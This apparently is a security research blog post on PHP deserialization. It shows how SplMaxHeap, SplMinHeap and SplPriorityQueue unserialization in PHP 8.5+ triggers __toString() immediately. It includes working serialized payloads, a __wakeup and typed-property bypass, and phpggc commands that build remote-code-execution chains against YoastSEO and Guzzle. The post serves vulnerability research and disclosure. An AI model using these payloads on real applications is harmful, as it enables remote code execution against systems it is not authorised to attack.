PHP __toString() Invocation Trick


Draft Edit Publish Date
Category Security Difficulty level Easy Reading time 9 minutes

Disclaimer:
✗ This information is provided "AS IS" and without warranty.
✗ We DO NOT take any responsibility for any misuse of this article, and this information is shared solely for scientific and educational purposes.
Agreement:
✓ By reading this article, you agree to use the information provided only for legitimate purposes (such as legal penetration testing, bug bounty, etc.).
✓ For emphasis: By reading this article, you agree to never use the information provided for illegal, illegitimate, or malicious purposes.

This blog post is the third part of PHP deserialization series. The previous parts are available in these links:

Part 1: Re-introducing several PHP tricks and a new gadget chain for Guzzle …

Part 2: Using PHP termination process to bypass __wakeup

About the __toString() method


“The __toString() method allows a class to decide how it will react when it is treated like a string.” source

Lack of strict comparison for determining which is larger


Loose comparison in PHP to compare a string and an object, invokes the object’s __toString() method.

PoC:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
 <?php
 
 class Test {
   function __toString() {
     echo __METHOD__ . " is running.\n";
     return "b";
   }
 }

 $obj = new Test();

Result of loose comparison:

if ("a" == $obj); // false
Test::__toString is running.

Result of strict comparison:

if ("a" === $obj); // false
# Nothing

The strict comparison is useful only when we want to check the values are equal (identical ===) or not equal (not identical !==). (the same type)

What about greater than or less than?

There is no operator to strictly check the values are larger or smaller. (Am I wrong? Please let me know.)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
 <?php
 class Test {
   function __toString() {
     echo __METHOD__ . " is running.\n";
     return "b";
   }
 }

 $obj = new Test();

 if ("a" > $obj) {
   echo "Greater than \n";
 }

Result:

Test::__toString is running.

To compare two values and determine which one is larger or smaller, we need to check their types; otherwise the type casting can occur.

Example: The sort function needs to compare values.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
 <?php
 class Test {
   function __toString() {
     echo __METHOD__ . " is running.\n";
     return "b";
   }
 }

 $obj = new Test();

 $arr = ["", $obj];
 
 sort($arr);

Result: (PHP -5.6, 7.x, 8.x-8.6+)

Test::__toString is running.

The same thing about max, min and more:

 max("" , $obj);

Result: (PHP -5.6, 7.x, 8.x-8.6+)

Test::__toString is running.

Comparison between an object and a string to determine whether their value is smaller or larger, invokes the __toString() method of the object.

To avoid that issue:

About the SplMaxHeap, SplMinHeap and SplPriorityQueue classes


SplMaxHeap: “The SplMaxHeap class provides the main functionalities of a heap, keeping the maximum on the top.”

SplMinHeap: “The SplMinHeap class provides the main functionalities of a heap, keeping the minimum on the top.”

SplPriorityQueue: “The SplPriorityQueue class provides the main functionalities of a prioritized queue, implemented using a max heap.”

Comparison was used for sifting up in the SplMaxHeap, SplMinHeap and SplPriorityQueue classes. Before PHP 8.5 it was not an important issue but after it, PHP has supported serialization/deserialization of these classes. [The PR link]

Since PHP 8.5, the ability helps attackers to invoke __toString() immediately in deserialization process and opens a way for attackers to exploit the GCs that weren’t exploitable directly before that.

PoC for __toString() invocation on SplMaxHeap, SplMinHeap and SplPriorityQueue deserialization:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
 <?php

 class Test {
   function __toString() {
     echo __METHOD__ . " is running.\n";
     return "";
   }
 }

 unserialize('O:10:"SplMaxHeap":2:{i:0;a:0:{}i:1;a:2:{s:5:"flags";i:0;s:13:"heap_elements";a:2:{i:0;O:4:"Test":0:{}i:1;s:0:"";}}}');

 unserialize('O:10:"SplMinHeap":2:{i:0;a:0:{}i:1;a:2:{s:5:"flags";i:0;s:13:"heap_elements";a:2:{i:0;O:4:"Test":0:{}i:1;s:0:"";}}}');

 unserialize('O:16:"SplPriorityQueue":2:{i:0;a:0:{}i:1;a:2:{s:5:"flags";i:1;s:13:"heap_elements";a:2:{i:0;a:2:{s:4:"data";N;s:8:"priority";O:4:"Test":0:{}}i:1;a:2:{s:4:"data";N;s:8:"priority";s:0:"";}}}}');

Result: PHP >= 8.5.0

Test::__toString is running.
Test::__toString is running.
Test::__toString is running.

As you see, for all of them, the __toString() method was invoked.

I provided three wrappers that you can use them to trigger __toString() on an arbitrary object.

How to use:

./phpggc {__toString GC} {...} -w wrappers/ImmediateTostring-SplMaxHeap.php

OR

./phpggc {__toString GC} {...} -w wrappers/ImmediateTostring-SplMinHeap.php

OR

./phpggc {__toString GC} {...} -w wrappers/ImmediateTostring-SplPriorityQueu.php

These tricks (these wrappers) escalate a gadget vector from __toString to __unserialize.

Limitation:

As mentioned above, serialization/unserialization of the classes has been added since PHP 8.5 and both attacker and victim must use PHP >= 8.5.

PHP < 8.5 versions are no longer actively supported. So PHP >= 8.5 versions are the only versions that have active support. source

  • PHP 8.4 will no longer be actively supported as of 31 Dec 2026.

Obvious but for emphasis:

There are a lot of cases that trigger __toString() but they don’t trigger __toString() immediately.

Real-world examples


1. YoastSEO 28.9+

YoastSEO uses Guzzle. Since YoastSEO 28.6 they have removed Cookie directory but haven’t upgraded to Guzzle 8.x; So WordPress/P/YoastSEO/FW1, WordPress/P/YoastSeo/RCE1 and WordPress/P/YoastSeo/RCE2 don’t work any more; they all used GuzzleHttp\Cookie\FileCookieJar.

WordPress/P/YoastSeo/RCE1 can be revived with the tricks explained; WordPress/P/YoastSeo/RCE3 is the revived version of WordPress/P/YoastSeo/RCE1 and with wrappers, we can use it. (PHP >= 8.5)

Usage: Supports YoastSEO 28.9+

./phpggc WordPress/P/YoastSeo/RCE3 system id -w wrappers/{one of the wrappers} 

2. Guzzle

The undocumented behavior of PHP had caused to incomplete patch for Guzzle 8.x. See this PR. The PR covered only GuzzleHttp\Cookie\FileCookieJar.

Using the tricks that explained, it was possible to exploit even on Guzzle 8.x but the report we sent them to cover more classes, prevented that issue on Guzzle 8.x; This shows the importance of the report. See these PRs: Guzzle/#3618, Psr7/#786.

I would like to thank Mr. Graham Campbell for making the changes.

Usage:

./phpggc Guzzle/RCE4 system id -w wrappers/{one of the wrappers}
  • Guzzle/RCE2, Guzzle/RCE3 and Guzzle/RCE4 still work on Guzzle 6.x and 7.x.
  • Guzzle/RCE4 uses __toString vector and to trigger it immediately on Guzzle 6.x and 7.x use one of the wrappers.

3. Memory corruption/Type confusion based exploitations

One of the techniques that attackers use, is manipulating property count. This technique is useful to bypass __wakeup and typed properties. Please note that part of the expression “..."Foo":2:...” has been manipulated to 2.

PoC for __wakeup bypass:

 <?php
 
 class Foo {
   public $prop;

   public function __wakeup() {
     echo __METHOD__ . " is running.\n";
   }

   public function  quux() {
     echo __METHOD__ . " is running.\n";
   }
 }

 Class Bar {
   public $a;
   
   public function __destruct()
   {
     $this->a->quux(); 
   }
 }

 unserialize('O:3:"Bar":1:{s:1:"a";O:3:"Foo":2:{s:4:"prop";s:3:"baz";}}');

Result: PHP 7.0.33, 7.1.33, 7.2.34, 7.3.33 ,7.4.33, 8.0.30, 8.1.34, 8.2.36, 8.3.37, 8.4.28, 8.5.13, 8.6.0 (20 Nov 2026)

PHP Warning:  unserialize(): Unexpected end of serialized data in /tmp/wakeup-bypass.php on line 24
PHP Warning:  unserialize(): Error at offset 55 of 57 bytes in /tmp/wakeup-bypass.php on line 24
Foo::quux is running.

The quux method was called without calling the __wakeup method. (__wakeup was bypassed.)

Limitation:

The property count manipulation trick coverage to bypass __wakeup:

  • If the property hasn’t any type, coverage is: PHP 7.x, PHP 8.x-8.6.0+

    • Unlike PHP-TPTW, property count manipulation is based on a PHP bug.
    • Works in PHP 8.6.
  • If the property has a type, coverage is: PHP 7.4, PHP 8.0-8.5.

    • Typed properties has been implemented since 7.4.
    • Doesn’t work in PHP 8.6.

The property count manipulation trick is also useful to bypass the typed properties limitations and assign an invalid type to them.

PoC:

 <?php

 class Foo {
   public $prop;
 }

 Class Bar {
   public int $a; // <== Bar::$a MUST be an integer but ...
  
   public function __destruct()
   {
     var_dump($this->a);
   }
 }

 unserialize('O:3:"Bar":1:{s:1:"a";O:3:"Foo":2:{s:4:"prop";s:3:"baz";}}');

Result: PHP 7.4.33, 8.0.30, 8.1.34, 8.2.36, 8.3.37, 8.4.28, 8.5.13 (20 Nov 2026)

PHP Warning:  unserialize(): Unexpected end of serialized data in /tmp/type-confusion-php-typed-properties.php on line 16
PHP Warning:  unserialize(): Error at offset 55 of 57 bytes in /tmp/type-confusion-php-typed-properties.php on line 16
object(Foo)#2 (1) {
  ["prop"]=>
  string(3) "baz"
}

Bar::$a MUST be an integer but it is an object (Foo).

Limitation:

The property count manipulation trick coverage to bypass typed properties:

  • PHP 7.4, PHP 8.0-8.5.
  • Doesn’t work in PHP 8.6.

Bypassing typed properties is especially dangerous for PHP internal (built-in) classes and that issue can even lead to RCE if the right conditions are met. (AAR, AAW, OOBR, OOBW, vector-to-vector or even RCE)

When I was checking PHP github, I found an interesting Heap OOB Read bug that used both SplMaxHeap and property count tricks to trigger the __toString() method of the Exception class and bypass the typed property limitation.

Exception::getTraceAsString expects $trace to be an array; The wrong type results Heap OOBR. (Type confusion to OOBR)

They fixed the bug in PHP 8.6.0 (19 Nov 2026) but I think they forgot to fix the older PHP versions as well. (8.2, 8.3, 8.4 and 8.5)

Also, no one has documented the SplMaxHeap class behavior or property count manipulation trick. Their test is based on SplMaxHeap and probably it misled them.

I will contact the PHP team about this bug.

4. Other __toString GCs

In PHPGGC there are a few __toString() based GCs and you can use them.

$./phpggc -l | grep '__toString'

CodeIgniter4/FR1               4.0.0 <= 4.3.6                    File read               __toString      *    
Doctrine/FW1                   ?                                 File write              __toString      *    
Kohana/FR1                     3.*                               File read               __toString      *    
Laravel/RCE10                  5.6.0 <= 9.1.8+                   RCE: Function Call      __toString           
Plates/RCE1                    3.5.0 >= 3.6.0                    RCE: Function Call      __toString           
Pydio/Guzzle/RCE1              < 8.2.2                           RCE: Function Call      __toString           
Slim/RCE1                      3.8.1                             RCE: Function Call      __toString           
SwiftMailer/FR1                6.0.0 <= 6.3.0                    File read               __toString           
SwiftMailer/FW1                5.1.0 <= 5.4.8                    File write              __toString           
SwiftMailer/FW2                6.0.0 <= 6.0.1                    File write              __toString           
SwiftMailer/FW3                5.0.1                             File write              __toString           
Symfony/RCE10                  2.0.4 <= 5.4.24 (all)             RCE: Function Call      __toString           
WordPress/Guzzle/RCE1          4.0.0 <= 6.4.1+ & WP < 5.5.2      RCE: Function Call      __toString      *    
WordPress/PHPExcel/RCE1        1.8.2+ & WP < 5.5.2               RCE: Function Call      __toString      *    
WordPress/PHPExcel/RCE2        <= 1.8.1 & WP < 5.5.2             RCE: Function Call      __toString      *    
WordPress/RCE1                 <= 6.3.1                          RCE: Function Call      __toString      *    
ZendFramework/RCE2             1.11.12 <= 1.12.20                RCE: Function Call      __toString      *    

The GCs and wrappers will be available in PHPGGC soon. To access them before that you can use this link. (Check branches)

Conclusion


Wrong assumptions and unexpected/undocumented behaviors of a programming language are dangerous; so I decided to document these issues.

The PHP team does not consider unserialization-related issues as security issues; however, I will contact them to make changes if they see fit.

This blog post is part of a larger research project. More articles will be published gradually.

Comments/Questions


If you have any questions, please use this link to submit them.